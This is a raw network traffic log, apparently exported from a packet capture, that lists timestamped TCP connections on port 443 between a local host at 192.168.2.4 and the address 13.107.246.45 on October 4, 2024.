Oct 4, 2024 09:52:55.141957045 CEST	57025	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.142481089 CEST	57025	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.142481089 CEST	57026	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.142585039 CEST	443	57025	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.142635107 CEST	443	57026	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.142705917 CEST	57026	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.142781019 CEST	57026	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.142793894 CEST	443	57026	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.790283918 CEST	443	57022	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.790287971 CEST	443	57026	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.790381908 CEST	443	57025	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.790973902 CEST	57022	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.791014910 CEST	443	57022	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.791228056 CEST	57026	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.791306019 CEST	443	57026	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.791484118 CEST	57026	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.791501045 CEST	443	57026	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.791523933 CEST	57022	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.791533947 CEST	443	57022	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.791887999 CEST	57025	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.791964054 CEST	443	57025	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.792223930 CEST	57025	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.792278051 CEST	443	57025	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.792577028 CEST	443	57024	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.792908907 CEST	57024	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.792954922 CEST	443	57024	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.793263912 CEST	57024	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.793270111 CEST	443	57024	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.793401957 CEST	443	57023	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.793626070 CEST	57023	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.793638945 CEST	443	57023	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.793936968 CEST	57023	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.793941021 CEST	443	57023	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.891453028 CEST	443	57026	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.891472101 CEST	443	57026	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.891594887 CEST	443	57025	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.891747952 CEST	57026	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.891812086 CEST	443	57026	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.892128944 CEST	57026	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.892128944 CEST	57026	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.892198086 CEST	443	57026	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.892261982 CEST	443	57026	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.892318964 CEST	443	57026	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.892751932 CEST	443	57025	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.892946959 CEST	57025	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.893591881 CEST	57025	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.893636942 CEST	443	57025	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.893691063 CEST	57025	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.893707991 CEST	443	57025	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.894030094 CEST	443	57024	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.894088984 CEST	443	57024	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.894165039 CEST	57024	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.894228935 CEST	443	57024	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.894263029 CEST	443	57024	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.894287109 CEST	57024	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.894316912 CEST	57024	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.894360065 CEST	443	57024	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.894387960 CEST	57024	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.894387960 CEST	57024	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.894409895 CEST	443	57024	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.894428015 CEST	443	57024	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.895438910 CEST	443	57022	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.895462036 CEST	443	57022	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.895524979 CEST	57022	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.895546913 CEST	443	57022	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.895589113 CEST	57022	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.895833969 CEST	57022	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.895838976 CEST	443	57022	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.895857096 CEST	57022	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.895891905 CEST	443	57022	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.895935059 CEST	443	57022	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.895971060 CEST	57022	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.896837950 CEST	57027	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.896886110 CEST	443	57027	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.896950006 CEST	57027	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.897109985 CEST	57027	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.897124052 CEST	443	57027	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.897794962 CEST	443	57023	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.897845984 CEST	443	57023	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.897881985 CEST	57023	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.898168087 CEST	57028	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.898192883 CEST	443	57028	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.898241043 CEST	57028	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.898900986 CEST	57029	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.898930073 CEST	443	57029	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.898988962 CEST	57029	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.899049997 CEST	57028	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.899060965 CEST	443	57028	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.899209976 CEST	57023	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.899219990 CEST	443	57023	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.899230957 CEST	57023	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.899235010 CEST	443	57023	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.900465012 CEST	57029	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.900479078 CEST	443	57029	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.901380062 CEST	57030	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.901388884 CEST	443	57030	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.901448965 CEST	57030	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.901690006 CEST	57030	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.901701927 CEST	443	57030	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.902121067 CEST	57031	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.902137041 CEST	443	57031	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.902192116 CEST	57031	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.902332067 CEST	57031	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.902344942 CEST	443	57031	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:57.540128946 CEST	443	57031	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:57.542619944 CEST	443	57028	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:57.542644024 CEST	443	57027	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:57.543369055 CEST	57031	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:57.543392897 CEST	443	57031	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:57.543816090 CEST	57031	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:57.543821096 CEST	443	57031	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:57.543900967 CEST	443	57029	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:57.544116020 CEST	57028	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:57.544122934 CEST	443	57028	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:57.544230938 CEST	443	57030	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:57.544461966 CEST	57028	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:57.544466019 CEST	443	57028	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:57.544532061 CEST	57029	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:57.544562101 CEST	443	57029	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:57.544859886 CEST	57029	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:57.544866085 CEST	443	57029	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:57.545145988 CEST	57027	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:57.545154095 CEST	57030	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:57.545167923 CEST	443	57030	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:57.545182943 CEST	443	57027	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:57.545500994 CEST	57030	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:57.545506001 CEST	443	57030	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:57.545658112 CEST	57027	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:57.545670033 CEST	443	57027	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:57.644262075 CEST	443	57031	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:57.644325018 CEST	443	57031	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:57.644490004 CEST	57031	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:57.644603968 CEST	57031	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:57.644619942 CEST	443	57031	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:57.644629955 CEST	57031	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:57.644634962 CEST	443	57031	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:57.647464037 CEST	57032	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:57.647562981 CEST	443	57032	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:57.647672892 CEST	57032	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:57.647830963 CEST	57032	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:57.647851944 CEST	443	57032	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:57.647881985 CEST	443	57028	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:57.647931099 CEST	443	57028	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:57.647968054 CEST	57028	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:57.648046017 CEST	57028	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:57.648052931 CEST	443	57028	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:57.648061991 CEST	57028	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:57.648066044 CEST	443	57028	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:57.649861097 CEST	57033	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:57.649914026 CEST	443	57033	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:57.649966002 CEST	443	57027	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:57.649980068 CEST	57033	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:57.650125027 CEST	443	57027	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:57.650130033 CEST	57033	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:57.650146961 CEST	443	57033	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:57.650182009 CEST	57027	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:57.650226116 CEST	57027	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:57.650226116 CEST	57027	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:57.650244951 CEST	443	57027	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:57.650258064 CEST	443	57027	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:57.651947975 CEST	57034	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:57.651968002 CEST	443	57034	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:57.652030945 CEST	57034	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:57.652153015 CEST	57034	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:57.652160883 CEST	443	57034	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:57.654438019 CEST	443	57029	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:57.654606104 CEST	443	57029	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:57.654659033 CEST	57029	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:57.654690981 CEST	57029	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:57.654690981 CEST	57029	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:57.654709101 CEST	443	57029	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:57.654721022 CEST	443	57029	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:57.656426907 CEST	57035	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:57.656510115 CEST	443	57035	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:57.656615973 CEST	57035	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:57.656716108 CEST	57035	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:57.656734943 CEST	443	57035	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:57.657047987 CEST	443	57030	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:57.657218933 CEST	443	57030	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:57.657272100 CEST	57030	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:57.657305002 CEST	57030	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:57.657310009 CEST	443	57030	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:57.657322884 CEST	57030	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:57.657327890 CEST	443	57030	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:57.659759998 CEST	57036	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:57.659816980 CEST	443	57036	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:57.659908056 CEST	57036	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:57.660056114 CEST	57036	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:57.660087109 CEST	443	57036	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:58.284646034 CEST	443	57032	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:58.285238981 CEST	57032	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:58.285305023 CEST	443	57032	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:58.285836935 CEST	57032	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:58.285890102 CEST	443	57032	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:58.296396017 CEST	443	57034	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:58.296678066 CEST	57034	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:58.296736956 CEST	443	57034	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:58.296986103 CEST	57034	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:58.296998978 CEST	443	57034	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:58.299016953 CEST	443	57033	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:58.299232006 CEST	57033	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:58.299261093 CEST	443	57033	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:58.299503088 CEST	57033	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:58.299513102 CEST	443	57033	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:58.300184011 CEST	443	57035	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:58.300549984 CEST	57035	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:58.300607920 CEST	443	57035	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:58.300671101 CEST	57035	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:58.300685883 CEST	443	57035	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:58.355741978 CEST	443	57036	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:58.356199980 CEST	57036	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:58.356260061 CEST	443	57036	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:58.356578112 CEST	57036	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:58.356591940 CEST	443	57036	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:58.383938074 CEST	443	57032	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:58.383999109 CEST	443	57032	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:58.384182930 CEST	57032	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:58.384295940 CEST	57032	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:58.384325027 CEST	443	57032	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:58.384344101 CEST	57032	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:58.384351015 CEST	443	57032	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:58.387428045 CEST	57037	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:58.387475967 CEST	443	57037	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:58.387568951 CEST	57037	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:58.387726068 CEST	57037	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:58.387737989 CEST	443	57037	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:58.395066977 CEST	443	57034	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:58.395128965 CEST	443	57034	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:58.395178080 CEST	57034	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:58.395366907 CEST	57034	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:58.395399094 CEST	443	57034	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:58.395421028 CEST	57034	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:58.395427942 CEST	443	57034	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:58.397691965 CEST	57038	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:58.397718906 CEST	443	57038	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:58.397789955 CEST	57038	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:58.397922039 CEST	57038	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:58.397929907 CEST	443	57038	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:58.400490046 CEST	443	57035	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:58.400571108 CEST	443	57035	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:58.400618076 CEST	57035	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:58.400703907 CEST	57035	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:58.400719881 CEST	443	57035	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:58.400736094 CEST	57035	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:58.400743008 CEST	443	57035	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:58.402098894 CEST	443	57033	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:58.402157068 CEST	443	57033	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:58.402205944 CEST	57033	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:58.402271986 CEST	57033	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:58.402287006 CEST	443	57033	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:58.402302027 CEST	57033	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:58.402308941 CEST	443	57033	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:58.402803898 CEST	57039	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:58.402846098 CEST	443	57039	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:58.402903080 CEST	57039	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:58.403017044 CEST	57039	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:58.403029919 CEST	443	57039	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:58.404027939 CEST	57040	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:58.404071093 CEST	443	57040	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:58.404126883 CEST	57040	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:58.404227018 CEST	57040	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:58.404239893 CEST	443	57040	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:58.463180065 CEST	443	57036	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:58.463417053 CEST	443	57036	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:58.463530064 CEST	57036	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:58.463530064 CEST	57036	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:58.463531017 CEST	57036	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:58.465775013 CEST	57041	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:58.465802908 CEST	443	57041	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:58.465867043 CEST	57041	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:58.465980053 CEST	57041	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:58.465985060 CEST	443	57041	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:58.680787086 CEST	57036	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:58.680887938 CEST	443	57036	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.037821054 CEST	443	57037	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.038315058 CEST	57037	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.038393021 CEST	443	57037	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.038712025 CEST	57037	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.038726091 CEST	443	57037	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.045156002 CEST	443	57038	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.045485020 CEST	57038	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.045514107 CEST	443	57038	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.045831919 CEST	57038	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.045850992 CEST	443	57038	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.049601078 CEST	443	57039	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.049937010 CEST	57039	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.050034046 CEST	443	57039	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.050131083 CEST	57039	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.050157070 CEST	443	57039	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.053241014 CEST	443	57040	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.053587914 CEST	57040	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.053668976 CEST	443	57040	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.053726912 CEST	57040	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.053741932 CEST	443	57040	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.121809006 CEST	443	57041	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.122430086 CEST	57041	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.122451067 CEST	443	57041	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.122826099 CEST	57041	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.122831106 CEST	443	57041	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.139075994 CEST	443	57037	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.139134884 CEST	443	57037	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.139235020 CEST	57037	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.139419079 CEST	57037	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.139440060 CEST	443	57037	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.139451027 CEST	57037	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.139456034 CEST	443	57037	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.141891003 CEST	57042	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.141922951 CEST	443	57042	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.141989946 CEST	57042	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.142111063 CEST	57042	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.142115116 CEST	443	57042	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.144845009 CEST	443	57038	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.144989967 CEST	443	57038	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.145042896 CEST	57038	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.145066977 CEST	57038	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.145071983 CEST	443	57038	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.145078897 CEST	57038	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.145081997 CEST	443	57038	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.147100925 CEST	57043	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.147192955 CEST	443	57043	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.147293091 CEST	57043	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.147557974 CEST	57043	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.147639990 CEST	443	57043	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.149792910 CEST	443	57039	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.149857998 CEST	443	57039	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.150027990 CEST	57039	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.150110960 CEST	57039	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.150110960 CEST	57039	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.150154114 CEST	443	57039	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.150187969 CEST	443	57039	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.151930094 CEST	57044	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.152010918 CEST	443	57044	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.152101994 CEST	57044	443	192.168.2.4	13.107.246.45
